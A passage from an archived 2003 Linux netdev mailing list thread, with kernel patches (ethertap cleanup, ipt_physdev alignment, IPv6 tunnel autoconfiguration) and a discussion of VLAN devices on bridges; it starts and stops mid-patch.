netlink_kernel_create(dev->base_addr, ethertap_rx); if (lp->nl == NULL) return -ENOBUFS; + netif_start_queue(dev); return 0; } @@ -302,7 +312,7 @@ } if (ethertap_debug > 3) - printk("%s: ethertap_rx()\n", dev->name); + printk(KERN_DEBUG "%s: ethertap_rx()\n", dev->name); while ((skb = skb_dequeue(&sk->sk_receive_queue)) != NULL) ethertap_rx_skb(skb, dev); @@ -314,7 +324,7 @@ struct sock *sk = lp->nl; if (ethertap_debug > 2) - printk("%s: Shutting down.\n", dev->name); + printk(KERN_DEBUG "%s: Shutting down.\n", dev->name); netif_stop_queue(dev); @@ -332,45 +342,49 @@ return &lp->stats; } -#ifdef MODULE - -static int unit; -MODULE_PARM(unit,"i"); -MODULE_PARM_DESC(unit,"Ethertap device number"); -static struct net_device dev_ethertap = +int __init ethertap_init(void) { - .name = " ", - .init = ethertap_probe -}; + int i, err = 0; -int init_module(void) -{ - dev_ethertap.base_addr=unit+NETLINK_TAPBASE; - sprintf(dev_ethertap.name,"tap%d",unit); - if (dev_get(dev_ethertap.name)) - { - printk(KERN_INFO "%s already loaded.\n", dev_ethertap.name); - return -EBUSY; - } - if (register_netdev(&dev_ethertap) != 0) - return -EIO; - return 0; -} - -void cleanup_module(void) -{ - tap_map[dev_ethertap.base_addr]=NULL; - unregister_netdev(&dev_ethertap); + /* netlink can only hande 16 entries unless modified */ + if (max_taps > MAX_LINKS - NETLINK_TAPBASE) + return -E2BIG; - /* - * Free up the private structure. - */ + tap_map = kmalloc(sizeof(struct net_device *)*max_taps, GFP_KERNEL); + if (!tap_map) + return -ENOMEM; - kfree(dev_ethertap.priv); - dev_ethertap.priv = NULL; /* gets re-allocated by ethertap_probe */ + for (i = 0; i < max_taps; i++) { + err = ethertap_probe(i); + if (err) { + while (--i > 0) { + unregister_netdev(tap_map[i]); + free_netdev(tap_map[i]); + } + break; + } + } + if (err) + kfree(tap_map); + return err; +} +module_init(ethertap_init); + +void __exit ethertap_cleanup(void) +{ + int i; + + for (i = 0; i < max_taps; i++) { + struct net_device *dev = tap_map[i]; + if (dev) { + tap_map[i] = NULL; + unregister_netdev(dev); + free_netdev(dev); + } + } + kfree(tap_map); } +module_exit(ethertap_cleanup); -#endif /* MODULE */ MODULE_LICENSE("GPL"); - From khc@pm.waw.pl Tue Sep 2 12:17:26 2003 Received: with ECARTIS (v1.0.0; list netdev); Tue, 02 Sep 2003 12:17:59 -0700 (PDT) Received: from hq.pm.waw.pl (hq.pm.waw.pl [195.116.170.10]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h82JHOWZ001535 for ; Tue, 2 Sep 2003 12:17:26 -0700 Received: by hq.pm.waw.pl (Postfix, from userid 10) id ADD3D3184; Tue, 2 Sep 2003 21:17:21 +0200 (CEST) Received: by defiant.pm.waw.pl (Postfix, from userid 500) id ABF3F3C815; Tue, 2 Sep 2003 20:24:35 +0200 (CEST) To: Bart De Schuymer Cc: Stephen Hemminger , "David S. Miller" , greearb@candelatech.com, netdev@oss.sgi.com Subject: Re: [PATCH/RFC] disallow vlan devices on top of a logical bridge device References: <200308301504.03241.bdschuym@pandora.be> <20030830203043.0eb1a660.davem@redhat.com> <20030902082807.0e18fe76.shemminger@osdl.org> <200309021932.37224.bdschuym@pandora.be> From: Krzysztof Halasa Date: 02 Sep 2003 20:24:35 +0200 In-Reply-To: <200309021932.37224.bdschuym@pandora.be> Message-ID: Lines: 19 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-archive-position: 5509 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: khc@pm.waw.pl Precedence: bulk X-list: netdev Bart De Schuymer writes: > OK. But isn't br0.15 supposed to work like this: all vlan tagged traffic > with > tag different from 15 is discarded, all non-tagged traffic is given to br0. Actually I think non-VLAN15 traffic shouldn't make it to br0.15 in the first place, the same with physical ethernet and anything like that. > The vlan code only sees tagged packets if the > packets are destined for the bridge box itself, so bridged traffic is > unaffected. Sure. Do you mean packets received from ethernet interface (br0 port)? They go to br0, of course. I don't see anything special here. I understand you don't need VLAN support for trunk bridging. You need it for locally accessing VLANs (trunk members) only. -- Krzysztof Halasa, B*FH From davem@pizda.ninka.net Tue Sep 2 12:22:45 2003 Received: with ECARTIS (v1.0.0; list netdev); Tue, 02 Sep 2003 12:22:47 -0700 (PDT) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h82JMiWZ002122 for ; Tue, 2 Sep 2003 12:22:45 -0700 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id MAA13215; Tue, 2 Sep 2003 12:13:24 -0700 Date: Tue, 2 Sep 2003 12:13:24 -0700 From: "David S. Miller" To: Stephen Hemminger Cc: netdev@oss.sgi.com Subject: Re: [PATCH] ethertap update Message-Id: <20030902121324.2d4c05f7.davem@redhat.com> In-Reply-To: <20030902121114.4f489216.shemminger@osdl.org> References: <20030902121114.4f489216.shemminger@osdl.org> X-Mailer: Sylpheed version 0.9.2 (GTK+ 1.2.6; sparc-unknown-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 5510 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On Tue, 2 Sep 2003 12:11:14 -0700 Stephen Hemminger wrote: > Updates to ethertap Looks good, applied. Thanks Stephen. From bdschuym@pandora.be Tue Sep 2 12:45:02 2003 Received: with ECARTIS (v1.0.0; list netdev); Tue, 02 Sep 2003 12:45:36 -0700 (PDT) Received: from adicia.telenet-ops.be (adicia.telenet-ops.be [195.130.132.56]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h82JipWZ003573 for ; Tue, 2 Sep 2003 12:44:52 -0700 Received: from localhost (localhost.localdomain [127.0.0.1]) by adicia.telenet-ops.be (Postfix) with SMTP id B0943385AB; Tue, 2 Sep 2003 21:16:42 +0200 (MEST) Received: from 192.168.123.138 (D5763FDE.kabel.telenet.be [213.118.63.222]) by adicia.telenet-ops.be (Postfix) with ESMTP id 7E01A38375; Tue, 2 Sep 2003 21:16:41 +0200 (MEST) From: Bart De Schuymer To: Arnaldo Carvalho de Melo , netfilter-devel@lists.netfilter.org Subject: Re: ipt_physdev.c alignment problems on parisc64 Date: Tue, 2 Sep 2003 21:16:41 +0200 User-Agent: KMail/1.5 Cc: Linux Networking Development Mailing List References: <20030902143050.GC3398@conectiva.com.br> In-Reply-To: <20030902143050.GC3398@conectiva.com.br> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200309022116.41697.bdschuym@pandora.be> X-archive-position: 5511 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: bdschuym@pandora.be Precedence: bulk X-list: netdev On Tuesday 02 September 2003 16:30, Arnaldo Carvalho de Melo wrote: > The 1.786.1.54 changeset (i.e. the initial ipt_physdev.c one 8) created Does this fix it? cheers, Bart --- linux-2.6.0-test4/include/linux/netfilter_ipv4/ipt_physdev.h.old 2003-09-02 21:11:12.000000000 +0200 +++ linux-2.6.0-test4/include/linux/netfilter_ipv4/ipt_physdev.h 2003-09-02 21:12:30.000000000 +0200 @@ -15,7 +15,7 @@ struct ipt_physdev_info { u_int8_t invert; u_int8_t bitmask; - char physindev[IFNAMSIZ]; + char physindev[IFNAMSIZ] __attribute__ ((aligned (__alignof__(unsigned long)))); char in_mask[IFNAMSIZ]; char physoutdev[IFNAMSIZ]; char out_mask[IFNAMSIZ]; From romieu@fr.zoreil.com Tue Sep 2 12:58:31 2003 Received: with ECARTIS (v1.0.0; list netdev); Tue, 02 Sep 2003 12:59:05 -0700 (PDT) Received: from fr.zoreil.com (electric-eye.fr.zoreil.com [213.41.134.224]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h82JwUWZ004607 for ; Tue, 2 Sep 2003 12:58:31 -0700 Received: from electric-eye.fr.zoreil.com (localhost.localdomain [127.0.0.1]) by fr.zoreil.com (8.12.8/8.12.1) with ESMTP id h82JqwxA028287; Tue, 2 Sep 2003 21:52:59 +0200 Received: (from romieu@localhost) by electric-eye.fr.zoreil.com (8.12.8/8.12.1) id h82Jqwbh028286; Tue, 2 Sep 2003 21:52:58 +0200 Date: Tue, 2 Sep 2003 21:52:58 +0200 From: Francois Romieu To: Mitchell Blank Jr Cc: Stephen Hemminger , chas williams , netdev@oss.sgi.com Subject: Re: [RFT] covert br2684 to seq_file Message-ID: <20030902215258.A26380@electric-eye.fr.zoreil.com> References: <20030902104308.08ce3fa4.shemminger@osdl.org> <20030902191433.GB67783@gaz.sfgoth.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5.1i In-Reply-To: <20030902191433.GB67783@gaz.sfgoth.com>; from mitch@sfgoth.com on Tue, Sep 02, 2003 at 12:14:33PM -0700 X-archive-position: 5512 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: romieu@fr.zoreil.com Precedence: bulk X-list: netdev Mitchell Blank Jr : [...] > FYI - Francios Romieu has patch for converting much of net/atm/*.c to seq_file > which will probably integrated soon (I think they're still working out > some nits w/ Chas; not sure what the status is currently) You probably should > coordinate any seq_file work in the ATM code with them to avoid any duplicated > effort. I have sent Chas a set of patches against 2.6.0-test4 (supposedly) integrating its comments this sunday. If it isn't merged for 2.6.0-test5, I'll send an update to remind people that testing would help. The patches address only net/atm/proc.c. I have no plan for others modifications in the atm area right now as my atm TODO is probably quite outdated. -- Ueimor From bdschuym@pandora.be Tue Sep 2 13:02:54 2003 Received: with ECARTIS (v1.0.0; list netdev); Tue, 02 Sep 2003 13:03:27 -0700 (PDT) Received: from adicia.telenet-ops.be (adicia.telenet-ops.be [195.130.132.56]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h82K2rWZ005650 for ; Tue, 2 Sep 2003 13:02:54 -0700 Received: from localhost (localhost.localdomain [127.0.0.1]) by adicia.telenet-ops.be (Postfix) with SMTP id DB71A37FB4; Tue, 2 Sep 2003 22:02:52 +0200 (MEST) Received: from 192.168.123.138 (D5763FDE.kabel.telenet.be [213.118.63.222]) by adicia.telenet-ops.be (Postfix) with ESMTP id 961D338074; Tue, 2 Sep 2003 22:02:51 +0200 (MEST) From: Bart De Schuymer To: Krzysztof Halasa Subject: Re: [PATCH/RFC] disallow vlan devices on top of a logical bridge device Date: Tue, 2 Sep 2003 22:02:52 +0200 User-Agent: KMail/1.5 Cc: Stephen Hemminger , "David S. Miller" , greearb@candelatech.com, netdev@oss.sgi.com References: <200308301504.03241.bdschuym@pandora.be> <200309021932.37224.bdschuym@pandora.be> In-Reply-To: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200309022202.52044.bdschuym@pandora.be> X-archive-position: 5513 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: bdschuym@pandora.be Precedence: bulk X-list: netdev On Tuesday 02 September 2003 20:24, Krzysztof Halasa wrote: > Actually I think non-VLAN15 traffic shouldn't make it to br0.15 in the > first place, the same with physical ethernet and anything like that. Obviously. The point is, vlan traffic with tag differing from 15 would be dropped if br0 were a physical device and not a logical bridge device. > > The vlan code only sees tagged packets if the > > packets are destined for the bridge box itself, so bridged traffic is > > unaffected. > > Sure. Do you mean packets received from ethernet interface (br0 port)? > They go to br0, of course. I don't see anything special here. > I understand you don't need VLAN support for trunk bridging. You need > it for locally accessing VLANs (trunk members) only. Umm, I probably should stop wasting people's time. Let me compare eth1.15 with br0.15, eth0 is a port of br0, eth1 is not, eth0.xx doesn't exist. Vlan tagged packet arrives on eth1: the vlan code gets to deal with the packet thanks to dev_add_pack(&vlan_packet_type). If the vlan tag differs from 15, the packet is dropped. To outsiders, the indev is eth0.15. Vlan tagged packet arrives on eth0: the bridge code gets to deal with the packet. So, to (most) outsiders the indev is br0. The bridge code happily forwards the packet, no matter what the vlan tag might be. I would find it logical if the indev would be br0.15 for vlan traffic over a bridge br0 when br0.15 exists, and that only vlan15 traffic gets forwarded. So, basically, I'd expect br0.15 to act like a bridge, since br0 is a bridge. cheers, Bart From acme@conectiva.com.br Tue Sep 2 13:03:42 2003 Received: with ECARTIS (v1.0.0; list netdev); Tue, 02 Sep 2003 13:04:14 -0700 (PDT) Received: from orion.netbank.com.br (orion.netbank.com.br [200.203.199.90]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h82K3eWZ005800 for ; Tue, 2 Sep 2003 13:03:41 -0700 Received: from [200.181.138.124] (helo=brinquendo.conectiva.com.br) by orion.netbank.com.br with asmtp (Exim 3.33 #1) id 19uHV9-0001wM-00; Tue, 02 Sep 2003 17:11:43 -0300 Received: by brinquendo.conectiva.com.br (Postfix, from userid 500) id 154ABE723; Tue, 2 Sep 2003 20:03:36 +0000 (UTC) Date: Tue, 2 Sep 2003 17:03:36 -0300 From: Arnaldo Carvalho de Melo To: Bart De Schuymer Cc: netfilter-devel@lists.netfilter.org, Linux Networking Development Mailing List Subject: Re: ipt_physdev.c alignment problems on parisc64 Message-ID: <20030902200336.GQ3398@conectiva.com.br> References: <20030902143050.GC3398@conectiva.com.br> <200309022116.41697.bdschuym@pandora.be> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <200309022116.41697.bdschuym@pandora.be> X-Url: http://advogato.org/person/acme Organization: Conectiva S.A. User-Agent: Mutt/1.5.4i X-archive-position: 5514 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: acme@conectiva.com.br Precedence: bulk X-list: netdev Em Tue, Sep 02, 2003 at 09:16:41PM +0200, Bart De Schuymer escreveu: > On Tuesday 02 September 2003 16:30, Arnaldo Carvalho de Melo wrote: > > The 1.786.1.54 changeset (i.e. the initial ipt_physdev.c one 8) created > > Does this fix it? Thanks, I'll test it later, now I have most of my machines turned off while cleaning up this messy machine room. - Arnaldo From romieu@fr.zoreil.com Tue Sep 2 13:28:25 2003 Received: with ECARTIS (v1.0.0; list netdev); Tue, 02 Sep 2003 13:28:42 -0700 (PDT) Received: from fr.zoreil.com (electric-eye.fr.zoreil.com [213.41.134.224]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h82KSNWZ007691 for ; Tue, 2 Sep 2003 13:28:24 -0700 Received: from electric-eye.fr.zoreil.com (localhost.localdomain [127.0.0.1]) by fr.zoreil.com (8.12.8/8.12.1) with ESMTP id h82KJPxA028656; Tue, 2 Sep 2003 22:19:25 +0200 Received: (from romieu@localhost) by electric-eye.fr.zoreil.com (8.12.8/8.12.1) id h82KJPec028655; Tue, 2 Sep 2003 22:19:25 +0200 Date: Tue, 2 Sep 2003 22:19:25 +0200 From: Francois Romieu To: "David S. Miller" Cc: Stephen Hemminger , netdev@oss.sgi.com Subject: Re: [PATCH] ethertap update Message-ID: <20030902221925.B26380@electric-eye.fr.zoreil.com> References: <20030902121114.4f489216.shemminger@osdl.org> <20030902121324.2d4c05f7.davem@redhat.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5.1i In-Reply-To: <20030902121324.2d4c05f7.davem@redhat.com>; from davem@redhat.com on Tue, Sep 02, 2003 at 12:13:24PM -0700 X-archive-position: 5515 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: romieu@fr.zoreil.com Precedence: bulk X-list: netdev [ethertap update] Apply on top of Stephen's patch. Balance alloc_netdev() with free_netdev(). drivers/net/ethertap.c | 6 +++--- 1 files changed, 3 insertions(+), 3 deletions(-) diff -puN drivers/net/ethertap.c~ethertap-free_netdev drivers/net/ethertap.c --- linux-2.6.0-test4/drivers/net/ethertap.c~ethertap-free_netdev Tue Sep 2 22:13:55 2003 +++ linux-2.6.0-test4-fr/drivers/net/ethertap.c Tue Sep 2 22:14:49 2003 @@ -106,12 +106,12 @@ static int __init ethertap_probe(int un err = register_netdev(dev); if (err) - goto out1; + goto out_free; tap_map[unit]=dev; return 0; -out1: - kfree(dev); +out_free: + free_netdev(dev); out: return err; } _ From davem@pizda.ninka.net Tue Sep 2 13:31:12 2003 Received: with ECARTIS (v1.0.0; list netdev); Tue, 02 Sep 2003 13:31:16 -0700 (PDT) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h82KVBWZ008158 for ; Tue, 2 Sep 2003 13:31:11 -0700 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id NAA13444; Tue, 2 Sep 2003 13:21:45 -0700 Date: Tue, 2 Sep 2003 13:21:45 -0700 From: "David S. Miller" To: Francois Romieu Cc: shemminger@osdl.org, netdev@oss.sgi.com Subject: Re: [PATCH] ethertap update Message-Id: <20030902132145.7fcaa9a7.davem@redhat.com> In-Reply-To: <20030902221925.B26380@electric-eye.fr.zoreil.com> References: <20030902121114.4f489216.shemminger@osdl.org> <20030902121324.2d4c05f7.davem@redhat.com> <20030902221925.B26380@electric-eye.fr.zoreil.com> X-Mailer: Sylpheed version 0.9.2 (GTK+ 1.2.6; sparc-unknown-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 5516 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On Tue, 2 Sep 2003 22:19:25 +0200 Francois Romieu wrote: > [ethertap update] > > Apply on top of Stephen's patch. > > Balance alloc_netdev() with free_netdev(). Applied, thank you. From sathissh_k@yahoo.co.in Tue Sep 2 13:57:46 2003 Received: with ECARTIS (v1.0.0; list netdev); Tue, 02 Sep 2003 13:58:19 -0700 (PDT) Received: from web8206.mail.in.yahoo.com (web8206.mail.in.yahoo.com [203.199.70.75]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h82KviWZ009877 for ; Tue, 2 Sep 2003 13:57:45 -0700 Message-ID: <20030902205737.25903.qmail@web8206.mail.in.yahoo.com> Received: from [216.236.121.30] by web8206.mail.in.yahoo.com via HTTP; Tue, 02 Sep 2003 21:57:37 BST Date: Tue, 2 Sep 2003 21:57:37 +0100 (BST) From: =?iso-8859-1?q?sathish=20kumar?= Subject: Kernel programming - Hooking in TCP/IP To: netdev@oss.sgi.com MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit X-archive-position: 5517 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: sathissh_k@yahoo.co.in Precedence: bulk X-list: netdev Hello, Iam interested in Linux Kernel Programming especially in TCP/IP stack implementation technique and redesigning. I have seen the TCP/IP stack implementation details in /net/ipv4/ . I would like to alter it for my needs. Like I would like to change the algorithm 'slowstart' to 'suddenstart'. To change this I just opened the tcp.c file from the directory that I mentioned above .But Iam confued to see that code. My problem is, from where to I have to change? And which is the entry point to do these kind of things. How to design TCP/IP stack in Linux?For this how to get/transmit frames from Datalink layer? And how to do Kernel Hooking in TCP/IP layer? Please kindly give some idea about this.And give some links for this kind of programming. Awaiting for Your Informative mail. regards, sathish. ________________________________________________________________________ Yahoo! India Promos: Win TVs, Bikes, DVD players & more! Go to http://in.promos.yahoo.com From yoshfuji@linux-ipv6.org Tue Sep 2 14:36:36 2003 Received: with ECARTIS (v1.0.0; list netdev); Tue, 02 Sep 2003 14:37:10 -0700 (PDT) Received: from yue.hongo.wide.ad.jp (yue.hongo.wide.ad.jp [203.178.139.94]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h82LaZWZ012362 for ; Tue, 2 Sep 2003 14:36:36 -0700 Received: from localhost (localhost [127.0.0.1]) by yue.hongo.wide.ad.jp (8.12.3+3.5Wbeta/8.12.3/Debian-5) with ESMTP id h82Lb51M024770; Wed, 3 Sep 2003 06:37:06 +0900 Date: Wed, 03 Sep 2003 06:37:05 +0900 (JST) Message-Id: <20030903.063705.89449634.yoshfuji@linux-ipv6.org> To: davem@redhat.com Cc: vnuorval@tcs.hut.fi, pekkas@netcore.fi, usagi-core@linux-ipv6.org, netdev@oss.sgi.com, yoshfuji@linux-ipv6.org Subject: Re: [PATCH] IPv6: (5/5+1) Autoconfig link-local addr to IPv6 tunnels From: YOSHIFUJI Hideaki / =?iso-2022-jp?B?GyRCNUhGIzFRTEAbKEI=?= In-Reply-To: <20030902043534.05fc6586.davem@redhat.com> References: <20030901035134.2585aa79.davem@redhat.com> <20030902043534.05fc6586.davem@redhat.com> Organization: USAGI Project X-URL: http://www.yoshifuji.org/%7Ehideaki/ X-Fingerprint: 90 22 65 EB 1E CF 3A D1 0B DF 80 D8 48 07 F8 94 E0 62 0E EA X-PGP-Key-URL: http://www.yoshifuji.org/%7Ehideaki/hideaki@yoshifuji.org.asc X-Face: "5$Al-.M>NJ%a'@hhZdQm:."qn~PA^gq4o*>iCFToq*bAi#4FRtx}enhuQKz7fNqQz\BYU] $~O_5m-9'}MIs`XGwIEscw;e5b>n"B_?j/AkL~i/MEaZBLP X-Mailer: Mew version 2.2 on Emacs 20.7 / Mule 4.1 (AOI) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 5518 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: yoshfuji@linux-ipv6.org Precedence: bulk X-list: netdev In article <20030902043534.05fc6586.davem@redhat.com> (at Tue, 2 Sep 2003 04:35:34 -0700), "David S. Miller" says: > On Mon, 1 Sep 2003 17:24:42 +0300 (EEST) > Ville Nuorvala wrote: > > > Ok, this incremental patch to my previous addrconf.c patch generates a > > link-local address to the IPv6 tunnel device. It first tries to inherit > > the EUI64 identifier of some other device and if this fails, uses a > > random interface id. > > Yoshfuji, do you mind if I apply his patch 5 and "5/5+1"? Well, I have a question and a comment. if (ifp->idev->cnf.forwarding == 0 && (dev->flags&IFF_LOOPBACK) == 0 && + dev->type != ARPHRD_TUNNEL6 && (ipv6_addr_type(&ifp->addr) & IPV6_ADDR_LINKLOCAL)) { struct in6_addr all_routers; Why? Comment: this strategy is the "default." We can (or even should) do this stretegy whenever we failed to ipv6_generate_eui64() in addrconf_dev_config(). -- Hideaki YOSHIFUJI @ USAGI Project GPG FP: 9022 65EB 1ECF 3AD1 0BDF 80D8 4807 F894 E062 0EEA From khc@pm.waw.pl Tue Sep 2 14:44:27 2003 Received: with ECARTIS (v1.0.0; list netdev); Tue, 02 Sep 2003 14:45:01 -0700 (PDT) Received: from hq.pm.waw.pl (hq.pm.waw.pl [195.116.170.10]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h82LiPWZ013069 for ; Tue, 2 Sep 2003 14:44:27 -0700 Received: by hq.pm.waw.pl (Postfix, from userid 10) id 19C13322F; Tue, 2 Sep 2003 23:44:22 +0200 (CEST) Received: by defiant.pm.waw.pl (Postfix, from userid 500) id 9587A3C815; Tue, 2 Sep 2003 23:43:44 +0200 (CEST) To: Bart De Schuymer Cc: Stephen Hemminger , "David S. Miller" , greearb@candelatech.com, netdev@oss.sgi.com Subject: Re: [PATCH/RFC] disallow vlan devices on top of a logical bridge device References: <200308301504.03241.bdschuym@pandora.be> <200309021932.37224.bdschuym@pandora.be> <200309022202.52044.bdschuym@pandora.be> From: Krzysztof Halasa Date: 02 Sep 2003 23:43:44 +0200 In-Reply-To: <200309022202.52044.bdschuym@pandora.be> Message-ID: Lines: 31 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-archive-position: 5519 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: khc@pm.waw.pl Precedence: bulk X-list: netdev Bart De Schuymer writes: > Let me compare eth1.15 with br0.15, eth0 is a port of br0, eth1 is not, > eth0.xx doesn't exist. > > Vlan tagged packet arrives on eth1: the vlan code gets to deal with the > packet > thanks to dev_add_pack(&vlan_packet_type). If the vlan tag differs from 15, > the packet is dropped. To outsiders, the indev is eth0.15. Right. > Vlan tagged packet arrives on eth0: the bridge code gets to deal with the > packet. So, to (most) outsiders the indev is br0. The bridge code happily > forwards the packet, no matter what the vlan tag might be. Right. The bridge just bridges the packet based on dest MAC. > I would find it logical if the indev would be br0.15 for vlan traffic over a > bridge br0 when br0.15 exists, and that only vlan15 traffic gets forwarded. > So, basically, I'd expect br0.15 to act like a bridge, since br0 is a bridge. I would rather expect that br0 bridges all ethernet frames. br0.15 should behave like a "static VLAN" port on VLAN-aware switch. This is basically what VLAN-aware switches do with trunk and single VLAN ports (let alone VLAN filtering which isn't implemented here). If you have just one trunk port, don't add it (eth0) to the bridge. Add eth0.15 to the bridge instead. -- Krzysztof Halasa, B*FH From emann@mrv.com Tue Sep 2 15:00:52 2003 Received: with ECARTIS (v1.0.0; list netdev); Tue, 02 Sep 2003 15:01:25 -0700 (PDT) Received: from apollo.nbase.co.il (apollo.nbase.co.il [194.90.137.2]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h82M0oWZ014202 for ; Tue, 2 Sep 2003 15:00:51 -0700 Received: from mrv.com ([194.90.137.91]) by apollo.nbase.co.il (Post.Office MTA v3.1.2 release (PO205-101c) ID# 0-44418U200L2S100) with ESMTP id AAA686; Wed, 3 Sep 2003 01:04:56 +0200 Message-ID: <3F552256.7000008@mrv.com> Date: Wed, 03 Sep 2003 01:05:58 +0200 From: Eran Mann User-Agent: Mozilla/5.0 (Windows; U; Win98; en-US; rv:1.2.1) Gecko/20021130 X-Accept-Language: en-us, en MIME-Version: 1.0 To: emann@opticalaccess.com CC: netdev@oss.sgi.com Subject: Re: [PATCH/RFC] disallow vlan devices on top of a logical bridge device References: <200308301504.03241.bdschuym@pandora.be> <20030830203043.0eb1a660.davem@redhat.com> <20030902082807.0e18fe76.shemminger@osdl.org> <200309021932.37224.bdschuym@pandora.be> In-Reply-To: <200309021932.37224.bdschuym@pandora.be> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 5520 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: emann@mrv.com Precedence: bulk X-list: netdev Bart De Schuymer wrote: > > OK. But isn't br0.15 supposed to work like this: all vlan tagged traffic with > tag different from 15 is discarded, all non-tagged traffic is given to br0. > This is how it works with a vlan on top of physical devices like eth0 if I > read the code correctly, but it doesn't currently work like that for vlan on > top of a logical bridge device. The vlan code only sees tagged packets if the > packets are destined for the bridge box itself, so bridged traffic is > unaffected. > This is why I think a vlan device on top of br0 in Linux is currently useless. > > cheers, > Bart > Actually this behavior (bridge all VLANs for non-local traffic, allow incoming traffic only from configured VLANs) is exactly what you typicaly want in a bridged VLAN-aware LAN. Assume for instance that an enterprise has N departments and a VLAN (or a few) for each dept. You want only guys from the MIS or IT department to be able to manage the bridges, not all the departments. being able to configure br0.x in such a setup would save you a lot of configuration. Otherwise you'd have to - configure all the N VLANs on all the physical ports. - define ebtable rules on each non MIS VLAN, on each physical port, to block access to the bridge management. - define bridging between all the devices. Also if you want to run spanning-tree than you have a slight problem, since the STP code is not VLAN aware, and would send BPDUs on the VLAN devices as if they were normal ports, so you need to setup a br Regards, Eran. From andi@averellmail.firstfloor.org Tue Sep 2 16:01:04 2003 Received: with ECARTIS (v1.0.0; list netdev); Tue, 02 Sep 2003 16:01:39 -0700 (PDT) Received: from zero.aec.at (Marley.Wottel@zero.aec.at [193.170.194.10]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h82N12WZ018289 for ; Tue, 2 Sep 2003 16:01:04 -0700 Received: from fred.muc.de (Eugene.Debs@localhost.localdomain [127.0.0.1]) by zero.aec.at (8.11.6/8.11.2) with ESMTP id h82N0qS10092 for ; Wed, 3 Sep 2003 01:00:53 +0200 Received: by fred.muc.de (Postfix on SuSE Linux 7.3 (i386), from userid 500) id 2D13B5BBEE; Wed, 3 Sep 2003 01:00:57 +0200 (CEST) Date: Wed, 3 Sep 2003 01:00:57 +0200 From: Andi Kleen To: netdev@oss.sgi.com Subject: [PATCH] Remove X86_TSC dependency in net profile code Message-ID: <20030902230057.GA5424@averell> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.4i X-archive-position: 5521 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: ak@muc.de Precedence: bulk X-list: netdev This removes one of the remaining users of CONFIG_X86_TSC Replace it with a runtime test instead. In some configurations it will be still properly optimized because cpu_has_tsc will expand to a constant then. This also makes it handle x86-64. I did not actually compile test this because net profile is commented out since a long time and doesn't compile. An alternative if noone comes up to fix it would be just to remove it completely. -Andi --- linux-2.6.0test4/include/net/profile.h-o 2003-05-27 03:00:21.000000000 +0200 +++ linux-2.6.0test4/include/net/profile.h 2003-08-29 19:48:11.000000000 +0200 @@ -29,11 +29,14 @@ extern 